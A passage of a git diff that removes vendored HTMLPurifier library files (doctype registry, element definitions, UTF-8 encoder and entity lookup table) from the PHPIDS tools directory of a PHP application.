$method, using Serializer instead", E_USER_WARNING); - } - $cache = new HTMLPurifier_DefinitionCache_Serializer($type); - } - foreach ($this->decorators as $decorator) { - $new_cache = $decorator->decorate($cache); - // prevent infinite recursion in PHP 4 - unset($cache); - $cache = $new_cache; - } - $this->caches[$method][$type] = $cache; - return $this->caches[$method][$type]; - } - - /** - * Registers a decorator to add to all new cache objects - * @param decorator - */ - public function addDecorator($decorator) { - if (is_string($decorator)) { - $class = "HTMLPurifier_DefinitionCache_Decorator_$decorator"; - $decorator = new $class; - } - $this->decorators[$decorator->name] = $decorator; - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Doctype.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Doctype.php deleted file mode 100755 index de87c56c87daaa776fc339dd14b9533b89a300aa..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Doctype.php +++ /dev/null @@ -1,60 +0,0 @@ -<?php - -/** - * Represents a document type, contains information on which modules - * need to be loaded. - * @note This class is inspected by Printer_HTMLDefinition->renderDoctype. - * If structure changes, please update that function. - */ -class HTMLPurifier_Doctype -{ - /** - * Full name of doctype - */ - public $name; - - /** - * List of standard modules (string identifiers or literal objects) - * that this doctype uses - */ - public $modules = array(); - - /** - * List of modules to use for tidying up code - */ - public $tidyModules = array(); - - /** - * Is the language derived from XML (i.e. XHTML)? - */ - public $xml = true; - - /** - * List of aliases for this doctype - */ - public $aliases = array(); - - /** - * Public DTD identifier - */ - public $dtdPublic; - - /** - * System DTD identifier - */ - public $dtdSystem; - - public function __construct($name = null, $xml = true, $modules = array(), - $tidyModules = array(), $aliases = array(), $dtd_public = null, $dtd_system = null - ) { - $this->name = $name; - $this->xml = $xml; - $this->modules = $modules; - $this->tidyModules = $tidyModules; - $this->aliases = $aliases; - $this->dtdPublic = $dtd_public; - $this->dtdSystem = $dtd_system; - } -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/DoctypeRegistry.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/DoctypeRegistry.php deleted file mode 100755 index 9aa3f25c14d2d3b803736b183cac1b12ddac9b4f..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/DoctypeRegistry.php +++ /dev/null @@ -1,103 +0,0 @@ -<?php - -class HTMLPurifier_DoctypeRegistry -{ - - /** - * Hash of doctype names to doctype objects - */ - protected $doctypes; - - /** - * Lookup table of aliases to real doctype names - */ - protected $aliases; - - /** - * Registers a doctype to the registry - * @note Accepts a fully-formed doctype object, or the - * parameters for constructing a doctype object - * @param $doctype Name of doctype or literal doctype object - * @param $modules Modules doctype will load - * @param $modules_for_modes Modules doctype will load for certain modes - * @param $aliases Alias names for doctype - * @return Editable registered doctype - */ - public function register($doctype, $xml = true, $modules = array(), - $tidy_modules = array(), $aliases = array(), $dtd_public = null, $dtd_system = null - ) { - if (!is_array($modules)) $modules = array($modules); - if (!is_array($tidy_modules)) $tidy_modules = array($tidy_modules); - if (!is_array($aliases)) $aliases = array($aliases); - if (!is_object($doctype)) { - $doctype = new HTMLPurifier_Doctype( - $doctype, $xml, $modules, $tidy_modules, $aliases, $dtd_public, $dtd_system - ); - } - $this->doctypes[$doctype->name] = $doctype; - $name = $doctype->name; - // hookup aliases - foreach ($doctype->aliases as $alias) { - if (isset($this->doctypes[$alias])) continue; - $this->aliases[$alias] = $name; - } - // remove old aliases - if (isset($this->aliases[$name])) unset($this->aliases[$name]); - return $doctype; - } - - /** - * Retrieves reference to a doctype of a certain name - * @note This function resolves aliases - * @note When possible, use the more fully-featured make() - * @param $doctype Name of doctype - * @return Editable doctype object - */ - public function get($doctype) { - if (isset($this->aliases[$doctype])) $doctype = $this->aliases[$doctype]; - if (!isset($this->doctypes[$doctype])) { - trigger_error('Doctype ' . htmlspecialchars($doctype) . ' does not exist', E_USER_ERROR); - $anon = new HTMLPurifier_Doctype($doctype); - return $anon; - } - return $this->doctypes[$doctype]; - } - - /** - * Creates a doctype based on a configuration object, - * will perform initialization on the doctype - * @note Use this function to get a copy of doctype that config - * can hold on to (this is necessary in order to tell - * Generator whether or not the current document is XML - * based or not). - */ - public function make($config) { - return clone $this->get($this->getDoctypeFromConfig($config)); - } - - /** - * Retrieves the doctype from the configuration object - */ - public function getDoctypeFromConfig($config) { - // recommended test - $doctype = $config->get('HTML.Doctype'); - if (!empty($doctype)) return $doctype; - $doctype = $config->get('HTML.CustomDoctype'); - if (!empty($doctype)) return $doctype; - // backwards-compatibility - if ($config->get('HTML.XHTML')) { - $doctype = 'XHTML 1.0'; - } else { - $doctype = 'HTML 4.01'; - } - if ($config->get('HTML.Strict')) { - $doctype .= ' Strict'; - } else { - $doctype .= ' Transitional'; - } - return $doctype; - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ElementDef.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ElementDef.php deleted file mode 100755 index bb160549c22b90a2de94f55e73420270b4a48d2a..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ElementDef.php +++ /dev/null @@ -1,183 +0,0 @@ -<?php - -/** - * Structure that stores an HTML element definition. Used by - * HTMLPurifier_HTMLDefinition and HTMLPurifier_HTMLModule. - * @note This class is inspected by HTMLPurifier_Printer_HTMLDefinition. - * Please update that class too. - * @warning If you add new properties to this class, you MUST update - * the mergeIn() method. - */ -class HTMLPurifier_ElementDef -{ - - /** - * Does the definition work by itself, or is it created solely - * for the purpose of merging into another definition? - */ - public $standalone = true; - - /** - * Associative array of attribute name to HTMLPurifier_AttrDef - * @note Before being processed by HTMLPurifier_AttrCollections - * when modules are finalized during - * HTMLPurifier_HTMLDefinition->setup(), this array may also - * contain an array at index 0 that indicates which attribute - * collections to load into the full array. It may also - * contain string indentifiers in lieu of HTMLPurifier_AttrDef, - * see HTMLPurifier_AttrTypes on how they are expanded during - * HTMLPurifier_HTMLDefinition->setup() processing. - */ - public $attr = array(); - - /** - * Indexed list of tag's HTMLPurifier_AttrTransform to be done before validation - */ - public $attr_transform_pre = array(); - - /** - * Indexed list of tag's HTMLPurifier_AttrTransform to be done after validation - */ - public $attr_transform_post = array(); - - /** - * HTMLPurifier_ChildDef of this tag. - */ - public $child; - - /** - * Abstract string representation of internal ChildDef rules. See - * HTMLPurifier_ContentSets for how this is parsed and then transformed - * into an HTMLPurifier_ChildDef. - * @warning This is a temporary variable that is not available after - * being processed by HTMLDefinition - */ - public $content_model; - - /** - * Value of $child->type, used to determine which ChildDef to use, - * used in combination with $content_model. - * @warning This must be lowercase - * @warning This is a temporary variable that is not available after - * being processed by HTMLDefinition - */ - public $content_model_type; - - - - /** - * Does the element have a content model (#PCDATA | Inline)*? This - * is important for chameleon ins and del processing in - * HTMLPurifier_ChildDef_Chameleon. Dynamically set: modules don't - * have to worry about this one. - */ - public $descendants_are_inline = false; - - /** - * List of the names of required attributes this element has. Dynamically - * populated by HTMLPurifier_HTMLDefinition::getElement - */ - public $required_attr = array(); - - /** - * Lookup table of tags excluded from all descendants of this tag. - * @note SGML permits exclusions for all descendants, but this is - * not possible with DTDs or XML Schemas. W3C has elected to - * use complicated compositions of content_models to simulate - * exclusion for children, but we go the simpler, SGML-style - * route of flat-out exclusions, which correctly apply to - * all descendants and not just children. Note that the XHTML - * Modularization Abstract Modules are blithely unaware of such - * distinctions. - */ - public $excludes = array(); - - /** - * This tag is explicitly auto-closed by the following tags. - */ - public $autoclose = array(); - - /** - * If a foreign element is found in this element, test if it is - * allowed by this sub-element; if it is, instead of closing the - * current element, place it inside this element. - */ - public $wrap; - - /** - * Whether or not this is a formatting element affected by the - * "Active Formatting Elements" algorithm. - */ - public $formatting; - - /** - * Low-level factory constructor for creating new standalone element defs - */ - public static function create($content_model, $content_model_type, $attr) { - $def = new HTMLPurifier_ElementDef(); - $def->content_model = $content_model; - $def->content_model_type = $content_model_type; - $def->attr = $attr; - return $def; - } - - /** - * Merges the values of another element definition into this one. - * Values from the new element def take precedence if a value is - * not mergeable. - */ - public function mergeIn($def) { - - // later keys takes precedence - foreach($def->attr as $k => $v) { - if ($k === 0) { - // merge in the includes - // sorry, no way to override an include - foreach ($v as $v2) { - $this->attr[0][] = $v2; - } - continue; - } - if ($v === false) { - if (isset($this->attr[$k])) unset($this->attr[$k]); - continue; - } - $this->attr[$k] = $v; - } - $this->_mergeAssocArray($this->attr_transform_pre, $def->attr_transform_pre); - $this->_mergeAssocArray($this->attr_transform_post, $def->attr_transform_post); - $this->_mergeAssocArray($this->excludes, $def->excludes); - - if(!empty($def->content_model)) { - $this->content_model = - str_replace("#SUPER", $this->content_model, $def->content_model); - $this->child = false; - } - if(!empty($def->content_model_type)) { - $this->content_model_type = $def->content_model_type; - $this->child = false; - } - if(!is_null($def->child)) $this->child = $def->child; - if(!is_null($def->formatting)) $this->formatting = $def->formatting; - if($def->descendants_are_inline) $this->descendants_are_inline = $def->descendants_are_inline; - - } - - /** - * Merges one array into another, removes values which equal false - * @param $a1 Array by reference that is merged into - * @param $a2 Array that merges into $a1 - */ - private function _mergeAssocArray(&$a1, $a2) { - foreach ($a2 as $k => $v) { - if ($v === false) { - if (isset($a1[$k])) unset($a1[$k]); - continue; - } - $a1[$k] = $v; - } - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Encoder.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Encoder.php deleted file mode 100755 index 2dbb02320b52de52b37bc5c2b8caf23637b65b0f..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Encoder.php +++ /dev/null @@ -1,426 +0,0 @@ -<?php - -/** - * A UTF-8 specific character encoder that handles cleaning and transforming. - * @note All functions in this class should be static. - */ -class HTMLPurifier_Encoder -{ - - /** - * Constructor throws fatal error if you attempt to instantiate class - */ - private function __construct() { - trigger_error('Cannot instantiate encoder, call methods statically', E_USER_ERROR); - } - - /** - * Error-handler that mutes errors, alternative to shut-up operator. - */ - public static function muteErrorHandler() {} - - /** - * Cleans a UTF-8 string for well-formedness and SGML validity - * - * It will parse according to UTF-8 and return a valid UTF8 string, with - * non-SGML codepoints excluded. - * - * @note Just for reference, the non-SGML code points are 0 to 31 and - * 127 to 159, inclusive. However, we allow code points 9, 10 - * and 13, which are the tab, line feed and carriage return - * respectively. 128 and above the code points map to multibyte - * UTF-8 representations. - * - * @note Fallback code adapted from utf8ToUnicode by Henri Sivonen and - * hsivonen@iki.fi at <http://iki.fi/hsivonen/php-utf8/> under the - * LGPL license. Notes on what changed are inside, but in general, - * the original code transformed UTF-8 text into an array of integer - * Unicode codepoints. Understandably, transforming that back to - * a string would be somewhat expensive, so the function was modded to - * directly operate on the string. However, this discourages code - * reuse, and the logic enumerated here would be useful for any - * function that needs to be able to understand UTF-8 characters. - * As of right now, only smart lossless character encoding converters - * would need that, and I'm probably not going to implement them. - * Once again, PHP 6 should solve all our problems. - */ - public static function cleanUTF8($str, $force_php = false) { - - // UTF-8 validity is checked since PHP 4.3.5 - // This is an optimization: if the string is already valid UTF-8, no - // need to do PHP stuff. 99% of the time, this will be the case. - // The regexp matches the XML char production, as well as well as excluding - // non-SGML codepoints U+007F to U+009F - if (preg_match('/^[\x{9}\x{A}\x{D}\x{20}-\x{7E}\x{A0}-\x{D7FF}\x{E000}-\x{FFFD}\x{10000}-\x{10FFFF}]*$/Du', $str)) { - return $str; - } - - $mState = 0; // cached expected number of octets after the current octet - // until the beginning of the next UTF8 character sequence - $mUcs4 = 0; // cached Unicode character - $mBytes = 1; // cached expected number of octets in the current sequence - - // original code involved an $out that was an array of Unicode - // codepoints. Instead of having to convert back into UTF-8, we've - // decided to directly append valid UTF-8 characters onto a string - // $out once they're done. $char accumulates raw bytes, while $mUcs4 - // turns into the Unicode code point, so there's some redundancy. - - $out = ''; - $char = ''; - - $len = strlen($str); - for($i = 0; $i < $len; $i++) { - $in = ord($str{$i}); - $char .= $str[$i]; // append byte to char - if (0 == $mState) { - // When mState is zero we expect either a US-ASCII character - // or a multi-octet sequence. - if (0 == (0x80 & ($in))) { - // US-ASCII, pass straight through. - if (($in <= 31 || $in == 127) && - !($in == 9 || $in == 13 || $in == 10) // save \r\t\n - ) { - // control characters, remove - } else { - $out .= $char; - } - // reset - $char = ''; - $mBytes = 1; - } elseif (0xC0 == (0xE0 & ($in))) { - // First octet of 2 octet sequence - $mUcs4 = ($in); - $mUcs4 = ($mUcs4 & 0x1F) << 6; - $mState = 1; - $mBytes = 2; - } elseif (0xE0 == (0xF0 & ($in))) { - // First octet of 3 octet sequence - $mUcs4 = ($in); - $mUcs4 = ($mUcs4 & 0x0F) << 12; - $mState = 2; - $mBytes = 3; - } elseif (0xF0 == (0xF8 & ($in))) { - // First octet of 4 octet sequence - $mUcs4 = ($in); - $mUcs4 = ($mUcs4 & 0x07) << 18; - $mState = 3; - $mBytes = 4; - } elseif (0xF8 == (0xFC & ($in))) { - // First octet of 5 octet sequence. - // - // This is illegal because the encoded codepoint must be - // either: - // (a) not the shortest form or - // (b) outside the Unicode range of 0-0x10FFFF. - // Rather than trying to resynchronize, we will carry on - // until the end of the sequence and let the later error - // handling code catch it. - $mUcs4 = ($in); - $mUcs4 = ($mUcs4 & 0x03) << 24; - $mState = 4; - $mBytes = 5; - } elseif (0xFC == (0xFE & ($in))) { - // First octet of 6 octet sequence, see comments for 5 - // octet sequence. - $mUcs4 = ($in); - $mUcs4 = ($mUcs4 & 1) << 30; - $mState = 5; - $mBytes = 6; - } else { - // Current octet is neither in the US-ASCII range nor a - // legal first octet of a multi-octet sequence. - $mState = 0; - $mUcs4 = 0; - $mBytes = 1; - $char = ''; - } - } else { - // When mState is non-zero, we expect a continuation of the - // multi-octet sequence - if (0x80 == (0xC0 & ($in))) { - // Legal continuation. - $shift = ($mState - 1) * 6; - $tmp = $in; - $tmp = ($tmp & 0x0000003F) << $shift; - $mUcs4 |= $tmp; - - if (0 == --$mState) { - // End of the multi-octet sequence. mUcs4 now contains - // the final Unicode codepoint to be output - - // Check for illegal sequences and codepoints. - - // From Unicode 3.1, non-shortest form is illegal - if (((2 == $mBytes) && ($mUcs4 < 0x0080)) || - ((3 == $mBytes) && ($mUcs4 < 0x0800)) || - ((4 == $mBytes) && ($mUcs4 < 0x10000)) || - (4 < $mBytes) || - // From Unicode 3.2, surrogate characters = illegal - (($mUcs4 & 0xFFFFF800) == 0xD800) || - // Codepoints outside the Unicode range are illegal - ($mUcs4 > 0x10FFFF) - ) { - - } elseif (0xFEFF != $mUcs4 && // omit BOM - // check for valid Char unicode codepoints - ( - 0x9 == $mUcs4 || - 0xA == $mUcs4 || - 0xD == $mUcs4 || - (0x20 <= $mUcs4 && 0x7E >= $mUcs4) || - // 7F-9F is not strictly prohibited by XML, - // but it is non-SGML, and thus we don't allow it - (0xA0 <= $mUcs4 && 0xD7FF >= $mUcs4) || - (0x10000 <= $mUcs4 && 0x10FFFF >= $mUcs4) - ) - ) { - $out .= $char; - } - // initialize UTF8 cache (reset) - $mState = 0; - $mUcs4 = 0; - $mBytes = 1; - $char = ''; - } - } else { - // ((0xC0 & (*in) != 0x80) && (mState != 0)) - // Incomplete multi-octet sequence. - // used to result in complete fail, but we'll reset - $mState = 0; - $mUcs4 = 0; - $mBytes = 1; - $char =''; - } - } - } - return $out; - } - - /** - * Translates a Unicode codepoint into its corresponding UTF-8 character. - * @note Based on Feyd's function at - * <http://forums.devnetwork.net/viewtopic.php?p=191404#191404>, - * which is in public domain. - * @note While we're going to do code point parsing anyway, a good - * optimization would be to refuse to translate code points that - * are non-SGML characters. However, this could lead to duplication. - * @note This is very similar to the unichr function in - * maintenance/generate-entity-file.php (although this is superior, - * due to its sanity checks). - */ - - // +----------+----------+----------+----------+ - // | 33222222 | 22221111 | 111111 | | - // | 10987654 | 32109876 | 54321098 | 76543210 | bit - // +----------+----------+----------+----------+ - // | | | | 0xxxxxxx | 1 byte 0x00000000..0x0000007F - // | | | 110yyyyy | 10xxxxxx | 2 byte 0x00000080..0x000007FF - // | | 1110zzzz | 10yyyyyy | 10xxxxxx | 3 byte 0x00000800..0x0000FFFF - // | 11110www | 10wwzzzz | 10yyyyyy | 10xxxxxx | 4 byte 0x00010000..0x0010FFFF - // +----------+----------+----------+----------+ - // | 00000000 | 00011111 | 11111111 | 11111111 | Theoretical upper limit of legal scalars: 2097151 (0x001FFFFF) - // | 00000000 | 00010000 | 11111111 | 11111111 | Defined upper limit of legal scalar codes - // +----------+----------+----------+----------+ - - public static function unichr($code) { - if($code > 1114111 or $code < 0 or - ($code >= 55296 and $code <= 57343) ) { - // bits are set outside the "valid" range as defined - // by UNICODE 4.1.0 - return ''; - } - - $x = $y = $z = $w = 0; - if ($code < 128) { - // regular ASCII character - $x = $code; - } else { - // set up bits for UTF-8 - $x = ($code & 63) | 128; - if ($code < 2048) { - $y = (($code & 2047) >> 6) | 192; - } else { - $y = (($code & 4032) >> 6) | 128; - if($code < 65536) { - $z = (($code >> 12) & 15) | 224; - } else { - $z = (($code >> 12) & 63) | 128; - $w = (($code >> 18) & 7) | 240; - } - } - } - // set up the actual character - $ret = ''; - if($w) $ret .= chr($w); - if($z) $ret .= chr($z); - if($y) $ret .= chr($y); - $ret .= chr($x); - - return $ret; - } - - /** - * Converts a string to UTF-8 based on configuration. - */ - public static function convertToUTF8($str, $config, $context) { - $encoding = $config->get('Core.Encoding'); - if ($encoding === 'utf-8') return $str; - static $iconv = null; - if ($iconv === null) $iconv = function_exists('iconv'); - set_error_handler(array('HTMLPurifier_Encoder', 'muteErrorHandler')); - if ($iconv && !$config->get('Test.ForceNoIconv')) { - $str = iconv($encoding, 'utf-8//IGNORE', $str); - if ($str === false) { - // $encoding is not a valid encoding - restore_error_handler(); - trigger_error('Invalid encoding ' . $encoding, E_USER_ERROR); - return ''; - } - // If the string is bjorked by Shift_JIS or a similar encoding - // that doesn't support all of ASCII, convert the naughty - // characters to their true byte-wise ASCII/UTF-8 equivalents. - $str = strtr($str, HTMLPurifier_Encoder::testEncodingSupportsASCII($encoding)); - restore_error_handler(); - return $str; - } elseif ($encoding === 'iso-8859-1') { - $str = utf8_encode($str); - restore_error_handler(); - return $str; - } - trigger_error('Encoding not supported, please install iconv', E_USER_ERROR); - } - - /** - * Converts a string from UTF-8 based on configuration. - * @note Currently, this is a lossy conversion, with unexpressable - * characters being omitted. - */ - public static function convertFromUTF8($str, $config, $context) { - $encoding = $config->get('Core.Encoding'); - if ($encoding === 'utf-8') return $str; - static $iconv = null; - if ($iconv === null) $iconv = function_exists('iconv'); - if ($escape = $config->get('Core.EscapeNonASCIICharacters')) { - $str = HTMLPurifier_Encoder::convertToASCIIDumbLossless($str); - } - set_error_handler(array('HTMLPurifier_Encoder', 'muteErrorHandler')); - if ($iconv && !$config->get('Test.ForceNoIconv')) { - // Undo our previous fix in convertToUTF8, otherwise iconv will barf - $ascii_fix = HTMLPurifier_Encoder::testEncodingSupportsASCII($encoding); - if (!$escape && !empty($ascii_fix)) { - $clear_fix = array(); - foreach ($ascii_fix as $utf8 => $native) $clear_fix[$utf8] = ''; - $str = strtr($str, $clear_fix); - } - $str = strtr($str, array_flip($ascii_fix)); - // Normal stuff - $str = iconv('utf-8', $encoding . '//IGNORE', $str); - restore_error_handler(); - return $str; - } elseif ($encoding === 'iso-8859-1') { - $str = utf8_decode($str); - restore_error_handler(); - return $str; - } - trigger_error('Encoding not supported', E_USER_ERROR); - } - - /** - * Lossless (character-wise) conversion of HTML to ASCII - * @param $str UTF-8 string to be converted to ASCII - * @returns ASCII encoded string with non-ASCII character entity-ized - * @warning Adapted from MediaWiki, claiming fair use: this is a common - * algorithm. If you disagree with this license fudgery, - * implement it yourself. - * @note Uses decimal numeric entities since they are best supported. - * @note This is a DUMB function: it has no concept of keeping - * character entities that the projected character encoding - * can allow. We could possibly implement a smart version - * but that would require it to also know which Unicode - * codepoints the charset supported (not an easy task). - * @note Sort of with cleanUTF8() but it assumes that $str is - * well-formed UTF-8 - */ - public static function convertToASCIIDumbLossless($str) { - $bytesleft = 0; - $result = ''; - $working = 0; - $len = strlen($str); - for( $i = 0; $i < $len; $i++ ) { - $bytevalue = ord( $str[$i] ); - if( $bytevalue <= 0x7F ) { //0xxx xxxx - $result .= chr( $bytevalue ); - $bytesleft = 0; - } elseif( $bytevalue <= 0xBF ) { //10xx xxxx - $working = $working << 6; - $working += ($bytevalue & 0x3F); - $bytesleft--; - if( $bytesleft <= 0 ) { - $result .= "&#" . $working . ";"; - } - } elseif( $bytevalue <= 0xDF ) { //110x xxxx - $working = $bytevalue & 0x1F; - $bytesleft = 1; - } elseif( $bytevalue <= 0xEF ) { //1110 xxxx - $working = $bytevalue & 0x0F; - $bytesleft = 2; - } else { //1111 0xxx - $working = $bytevalue & 0x07; - $bytesleft = 3; - } - } - return $result; - } - - /** - * This expensive function tests whether or not a given character - * encoding supports ASCII. 7/8-bit encodings like Shift_JIS will - * fail this test, and require special processing. Variable width - * encodings shouldn't ever fail. - * - * @param string $encoding Encoding name to test, as per iconv format - * @param bool $bypass Whether or not to bypass the precompiled arrays. - * @return Array of UTF-8 characters to their corresponding ASCII, - * which can be used to "undo" any overzealous iconv action. - */ - public static function testEncodingSupportsASCII($encoding, $bypass = false) { - static $encodings = array(); - if (!$bypass) { - if (isset($encodings[$encoding])) return $encodings[$encoding]; - $lenc = strtolower($encoding); - switch ($lenc) { - case 'shift_jis': - return array("\xC2\xA5" => '\\', "\xE2\x80\xBE" => '~'); - case 'johab': - return array("\xE2\x82\xA9" => '\\'); - } - if (strpos($lenc, 'iso-8859-') === 0) return array(); - } - $ret = array(); - set_error_handler(array('HTMLPurifier_Encoder', 'muteErrorHandler')); - if (iconv('UTF-8', $encoding, 'a') === false) return false; - for ($i = 0x20; $i <= 0x7E; $i++) { // all printable ASCII chars - $c = chr($i); // UTF-8 char - $r = iconv('UTF-8', "$encoding//IGNORE", $c); // initial conversion - if ( - $r === '' || - // This line is needed for iconv implementations that do not - // omit characters that do not exist in the target character set - ($r === $c && iconv($encoding, 'UTF-8//IGNORE', $r) !== $c) - ) { - // Reverse engineer: what's the UTF-8 equiv of this byte - // sequence? This assumes that there's no variable width - // encoding that doesn't support ASCII. - $ret[iconv($encoding, 'UTF-8//IGNORE', $c)] = $c; - } - } - restore_error_handler(); - $encodings[$encoding] = $ret; - return $ret; - } - - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/EntityLookup.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/EntityLookup.php deleted file mode 100755 index 61c3d567af16c1f084fdb1b9b35d4eecc6a66588..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/EntityLookup.php +++ /dev/null @@ -1,44 +0,0 @@ -<?php - -/** - * Object that provides entity lookup table from entity name to character - */ -class HTMLPurifier_EntityLookup { - - /** - * Assoc array of entity name to character represented. - */ - public $table; - - /** - * Sets up the entity lookup table from the serialized file contents. - * @note The serialized contents are versioned, but were generated - * using the maintenance script generate_entity_file.php - * @warning This is not in constructor to help enforce the Singleton - */ - public function setup($file = false) { - if (!$file) { - $file = HTMLPURIFIER_PREFIX . '/HTMLPurifier/EntityLookup/entities.ser'; - } - $this->table = unserialize(file_get_contents($file)); - } - - /** - * Retrieves sole instance of the object. - * @param Optional prototype of custom lookup table to overload with. - */ - public static function instance($prototype = false) { - // no references, since PHP doesn't copy unless modified - static $instance = null; - if ($prototype) { - $instance = $prototype; - } elseif (!$instance) { - $instance = new HTMLPurifier_EntityLookup(); - $instance->setup(); - } - return $instance; - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/EntityLookup/entities.ser b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/EntityLookup/entities.ser deleted file mode 100755 index e8b08128beb5418e7f8428c7412a2bd8866607dc..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/EntityLookup/entities.ser +++ /dev/null @@ -1 +0,0 @@ -a:253:{s:4:"fnof";s:2:"Æ’";s:5:"Alpha";s:2:"Α";s:4:"Beta";s:2:"Î’";s:5:"Gamma";s:2:"Γ";s:5:"Delta";s:2:"Δ";s:7:"Epsilon";s:2:"Ε";s:4:"Zeta";s:2:"Ζ";s:3:"Eta";s:2:"Η";s:5:"Theta";s:2:"Θ";s:4:"Iota";s:2:"Ι";s:5:"Kappa";s:2:"Κ";s:6:"Lambda";s:2:"Λ";s:2:"Mu";s:2:"Îœ";s:2:"Nu";s:2:"Î";s:2:"Xi";s:2:"Ξ";s:7:"Omicron";s:2:"Ο";s:2:"Pi";s:2:"Î ";s:3:"Rho";s:2:"Ρ";s:5:"Sigma";s:2:"Σ";s:3:"Tau";s:2:"Τ";s:7:"Upsilon";s:2:"Î¥";s:3:"Phi";s:2:"Φ";s:3:"Chi";s:2:"Χ";s:3:"Psi";s:2:"Ψ";s:5:"Omega";s:2:"Ω";s:5:"alpha";s:2:"α";s:4:"beta";s:2:"β";s:5:"gamma";s:2:"γ";s:5:"delta";s:2:"δ";s:7:"epsilon";s:2:"ε";s:4:"zeta";s:2:"ζ";s:3:"eta";s:2:"η";s:5:"theta";s:2:"θ";s:4:"iota";s:2:"ι";s:5:"kappa";s:2:"κ";s:6:"lambda";s:2:"λ";s:2:"mu";s:2:"μ";s:2:"nu";s:2:"ν";s:2:"xi";s:2:"ξ";s:7:"omicron";s:2:"ο";s:2:"pi";s:2:"Ï€";s:3:"rho";s:2:"Ï";s:6:"sigmaf";s:2:"Ï‚";s:5:"sigma";s:2:"σ";s:3:"tau";s:2:"Ï„";s:7:"upsilon";s:2:"Ï…";s:3:"phi";s:2:"φ";s:3:"chi";s:2:"χ";s:3:"psi";s:2:"ψ";s:5:"omega";s:2:"ω";s:8:"thetasym";s:2:"Ï‘";s:5:"upsih";s:2:"Ï’";s:3:"piv";s:2:"Ï–";s:4:"bull";s:3:"•";s:6:"hellip";s:3:"…";s:5:"prime";s:3:"′";s:5:"Prime";s:3:"″";s:5:"oline";s:3:"‾";s:5:"frasl";s:3:"â„";s:6:"weierp";s:3:"℘";s:5:"image";s:3:"â„‘";s:4:"real";s:3:"â„œ";s:5:"trade";s:3:"â„¢";s:7:"alefsym";s:3:"ℵ";s:4:"larr";s:3:"â†";s:4:"uarr";s:3:"↑";s:4:"rarr";s:3:"→";s:4:"darr";s:3:"↓";s:4:"harr";s:3:"↔";s:5:"crarr";s:3:"↵";s:4:"lArr";s:3:"â‡";s:4:"uArr";s:3:"⇑";s:4:"rArr";s:3:"⇒";s:4:"dArr";s:3:"⇓";s:4:"hArr";s:3:"⇔";s:6:"forall";s:3:"∀";s:4:"part";s:3:"∂";s:5:"exist";s:3:"∃";s:5:"empty";s:3:"∅";s:5:"nabla";s:3:"∇";s:4:"isin";s:3:"∈";s:5:"notin";s:3:"∉";s:2:"ni";s:3:"∋";s:4:"prod";s:3:"âˆ";s:3:"sum";s:3:"∑";s:5:"minus";s:3:"−";s:6:"lowast";s:3:"∗";s:5:"radic";s:3:"√";s:4:"prop";s:3:"âˆ";s:5:"infin";s:3:"∞";s:3:"ang";s:3:"∠";s:3:"and";s:3:"∧";s:2:"or";s:3:"∨";s:3:"cap";s:3:"∩";s:3:"cup";s:3:"∪";s:3:"int";s:3:"∫";s:6:"there4";s:3:"∴";s:3:"sim";s:3:"∼";s:4:"cong";s:3:"≅";s:5:"asymp";s:3:"≈";s:2:"ne";s:3:"≠";s:5:"equiv";s:3:"≡";s:2:"le";s:3:"≤";s:2:"ge";s:3:"≥";s:3:"sub";s:3:"⊂";s:3:"sup";s:3:"⊃";s:4:"nsub";s:3:"⊄";s:4:"sube";s:3:"⊆";s:4:"supe";s:3:"⊇";s:5:"oplus";s:3:"⊕";s:6:"otimes";s:3:"⊗";s:4:"perp";s:3:"⊥";s:4:"sdot";s:3:"â‹…";s:5:"lceil";s:3:"⌈";s:5:"rceil";s:3:"⌉";s:6:"lfloor";s:3:"⌊";s:6:"rfloor";s:3:"⌋";s:4:"lang";s:3:"〈";s:4:"rang";s:3:"〉";s:3:"loz";s:3:"â—Š";s:6:"spades";s:3:"â™ ";s:5:"clubs";s:3:"♣";s:6:"hearts";s:3:"♥";s:5:"diams";s:3:"♦";s:4:"quot";s:1:""";s:3:"amp";s:1:"&";s:2:"lt";s:1:"<";s:2:"gt";s:1:">";s:4:"apos";s:1:"'";s:5:"OElig";s:2:"Å’";s:5:"oelig";s:2:"Å“";s:6:"Scaron";s:2:"Å ";s:6:"scaron";s:2:"Å¡";s:4:"Yuml";s:2:"Ÿ";s:4:"circ";s:2:"ˆ";s:5:"tilde";s:2:"Ëœ";s:4:"ensp";s:3:" ";s:4:"emsp";s:3:" ";s:6:"thinsp";s:3:" 